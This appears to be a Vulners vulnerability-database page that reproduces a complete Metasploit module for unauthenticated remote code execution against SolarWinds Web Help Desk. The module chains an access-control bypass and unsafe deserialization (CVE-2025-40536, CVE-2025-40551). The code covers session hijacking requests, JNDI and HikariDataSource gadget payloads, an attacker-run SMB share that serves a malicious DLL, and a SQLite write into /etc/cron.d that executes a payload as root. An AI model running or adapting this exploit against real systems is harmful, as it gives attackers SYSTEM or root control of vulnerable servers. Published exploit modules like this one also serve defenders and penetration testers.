Lucene search
K

📄 SolarWinds Web Help Desk Unauthenticated Remote Code Execution

🗓️ 13 Feb 2026 00:00:00Reported by sfewer-r7, Jimi SebreeType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 158 Views

Exploits unauthenticated RCE in SolarWinds Web Help Desk via access bypass and unsafe deserialization.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-40554
31 Jan 202608:17
githubexploit
ATTACKERKB
CVE-2025-40536
28 Jan 202607:30
attackerkb
ATTACKERKB
CVE-2025-40551
28 Jan 202607:33
attackerkb
Circl
CVE-2025-40536
28 Jan 202610:19
circl
Circl
CVE-2025-40551
28 Jan 202610:02
circl
CISA KEV Catalog
SolarWinds Web Help Desk Security Control Bypass Vulnerability
12 Feb 202600:00
cisa_kev
CISA KEV Catalog
SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability
3 Feb 202600:00
cisa_kev
CISA
CISA Adds Four Known Exploited Vulnerabilities to Catalog
12 Feb 202612:00
cisa
CISA
CISA Adds Four Known Exploited Vulnerabilities to Catalog
3 Feb 202612:00
cisa
CNNVD
SolarWinds Web Help Desk code-related vulnerabilities
28 Jan 202600:00
cnnvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::Remote::JndiInjection
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::EXE
      include Msf::Exploit::Retry
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
            'Description' => %q{
              This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
              vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
              server.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Jimi Sebree', # Original finder @ horizon3.ai
              'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai)
            ],
            'References' => [
              # Access control bypass vulnerability
              ['CVE', '2025-40536'],
              # Unsafe deserialization for RCE
              ['CVE', '2025-40551'],
              # Vendor advisory
              ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
              # Technical analysis from horizon3.ai
              ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
            ],
            'DisclosureDate' => '2026-01-28',
            'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install.
            'Platform' => ['win', 'unix', 'linux'],
            'Arch' => [ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'WHD 12.8.* on Windows (Native code payload)', {
                  'VersionStart' => '12.8',
                  'Platform' => 'win',
                  'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process
                }
              ],
              [
                'WHD 12.8.* on Linux (Command payload)', {
                  'VersionStart' => '12.8',
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Payload' => {
                    'BadChars' => '\''
                  },
                  'WfsDelay' => 90 # cron can take ~1 minute
                }
              ],
              [
                'WHD 12.7.* on Windows (Command payload)', {
                  'VersionStart' => '12.7',
                  'GadgetChain' => 'CommonsBeanutils1',
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                }
              ],
              [
                'WHD 12.7.* on Linux (Command payload)', {
                  'VersionStart' => '12.7',
                  'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux)
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 8443,
              'SSL' => true
            },
            'Notes' => {
              # For the 12.8.* target on Windows, the service may crash and restart so we use a stability of
              # CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE.
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/'])
        ])
      end
    
      def check
        session_ctx = step1_initial_session
    
        CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
      rescue Msf::Exploit::Failed => e
        CheckCode::Unknown(e.to_s)
      end
    
      def exploit
        print_status('Step 1 - Initial session...')
    
        session_ctx = step1_initial_session
    
        # Verify the remote target matches the expectations for the Metasploit target's version and platform...
    
        fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
    
        case target['Platform']
        when 'win'
          fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
        when ['unix', 'linux']
          fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
        else
          fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
        end
    
        session_ctx[:service] = get_target_service(session_ctx)
    
        print_status('Step 2 - Login pref page...')
    
        external_auth_container = step2_login_pref_page(session_ctx)
    
        print_status('Step 3 - Trigger SAML object...')
    
        step3_trigger_saml_object(session_ctx, external_auth_container)
    
        print_status('Step 4 - Create JSON RPC bridge...')
    
        jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)
    
        print_status('Step 5 - Unsafe deserialization...')
    
        get_target_gadgets(session_ctx).each do |gadget|
          print_status("  Executing gadget - #{gadget[:title]}")
    
          step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
    
          Rex::ThreadSafe.sleep(2)
        end
    
        # block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
        retry_until_truthy(timeout: datastore['WfsDelay']) do
          !handler_enabled? || session_created?
        end
    
        unless session_ctx[:service].nil?
          session_ctx[:service].cleanup
        end
    
        handler
      ensure
        cleanup_service
      end
    
      class SimpleSMBShareWrapper < ::Msf::Exploit
        include ::Msf::Exploit::Remote::SMB::Server::Share
      end
    
      def get_target_service(session_ctx)
        if target['VersionStart'] == '12.7'
          start_service
          return nil
        end
    
        # For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path
        # over SMB. We need to spin up an SMB server with a share to satisfy this. As we already
        # include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To
        # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
        return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
    
        if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
        end
    
        # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
        print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
    
        smb_service = SimpleSMBShareWrapper.new
    
        smb_service.datastore['SRVPORT'] = 445
        smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
    
        smb_service.setup
    
        smb_service.file_contents = generate_payload_dll
    
        smb_service.file_name += '.dll'
    
        smb_service.start_service({
          'ServerPort' => 445,
          'ServerHost' => datastore['SRVHOST']
        })
    
        smb_service
      end
    
      def get_target_gadgets(session_ctx)
        gadgets = []
    
        if target['VersionStart'] == '12.7'
          # Tested against Web Help Desk version 12.7.11.1182 running on Linux.
    
          print_status("Malicious JNDI URL: #{jndi_string}")
    
          gadgets.push({
            title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
            json_data: {
              'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
              'jndiLocation' => jndi_string
            }
          })
        elsif target['VersionStart'] == '12.8'
          # We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already
          # been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver.
          gadgets.push({
            title: 'Registering the org.sqlite.JDBC driver',
            json_data: {
              'javaClass' => 'org.sqlite.JDBC'
            }
          })
    
          if session_ctx[:platform] == :windows
            print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
    
            # With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite
            # connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension
            # pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement
            # when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit
            # native code payload.
            #
            # Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using
            # the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your
            # own payloads).
            gadgets.push({
              title: 'Loading malicious extension over SMB',
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
                'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
              }
            })
          elsif session_ctx[:platform] == :linux
            # Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons:
            # https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
            # However when testing against an Ubuntu system, I get the syslog error:
            # cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5
            #
            random_name = Rex::Text.rand_text_alpha(8)
    
            gadgets.push({
              title: "Creating file in /etc/cron.d/#{random_name}",
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
                'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
              }
            })
    
            gadgets.push({
              title: "Dirty file write to /etc/cron.d/#{random_name}",
              json_data: {
                'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
                'driverClassName' => 'org.sqlite.SQLiteDataSource',
                'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
                'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
              }
            })
          end
        else
          fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
        end
      end
    
      # By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left
      # as a target option so we can add new targets (i.e. specific versions of WHD) with ease.
      def build_ldap_search_response_payload
        build_ldap_search_response_payload_inline(target['GadgetChain'])
      end
    
      def step1_initial_session
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
          'headers' => {
            'x-webobjects-recording' => '1'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
    
        version = m[1].gsub('_', '.')
    
        vprint_status("Version: #{version}")
    
        m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
    
        resource_path = Rex::Text.uri_decode(m[1])
    
        # jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
        # jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
        platform = if resource_path =~ %r{file:////.:/}
                     :windows
                   else
                     resource_path =~ %r{file:///Applications/} ? :mac : :linux
                   end
    
        vprint_status("Platform: #{platform}")
    
        cookies = res.get_cookies
    
        jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
    
        vprint_status("JSESSIONID: #{jsessionid}")
    
        xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
    
        vprint_status("XSRF-TOKEN: #{xsrf_token}")
    
        x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
    
        fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
    
        vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")
    
        {
          version: version,
          platform: platform,
          jsessionid: jsessionid,
          xsrf_token: xsrf_token,
          x_webobjects_session_id: x_webobjects_session_id
        }
      end
    
      def step2_login_pref_page(session_ctx)
        res = send_request_cgi(
          'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'vars_get' => {
            Rex::Text.rand_text_alpha(8) => '/ajax/',
            'wopage' => 'LoginPref'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)})
    
        fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m
    
        external_auth_container = m[1]
    
        vprint_status("externalAuthContainer: #{external_auth_container}")
    
        external_auth_container
      end
    
      def step3_trigger_saml_object(session_ctx, external_auth_container)
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, external_auth_container),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
      end
    
      def step4_create_jsonrpc_bridge(session_ctx)
        res = send_request_cgi(
          'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'vars_get' => {
            Rex::Text.rand_text_alpha(8) => '/ajax/',
            'wopage' => 'LoginPref'
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200
    
        m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
    
        fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m
    
        jsonrpc_client = m[1]
    
        vprint_status("JSONRpcClient: #{jsonrpc_client}")
    
        jsonrpc_client
      end
    
      def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
        random_id = rand(1..0xffff)
        random_name = Rex::Text.rand_text_alpha(8)
    
        # whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted
        allowlist = [
          'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
          'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
        ]
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => {
            Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
            'id' => random_id,
            'method' => 'wopage.setVariableValueForName',
            'params' => [
              random_name,
              json_data
            ]
          }.to_json
        )
    
        fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
    
        fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
          'headers' => {
            'X-Xsrf-Token' => session_ctx[:xsrf_token],
            'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
          },
          'data' => {
            Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
            'id' => random_id,
            'method' => 'wopage.variableValueForName',
            'params' => [random_name]
          }.to_json
        )
    
        unless return_early
          fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
    
          fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
        end
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.8413
SSVC
158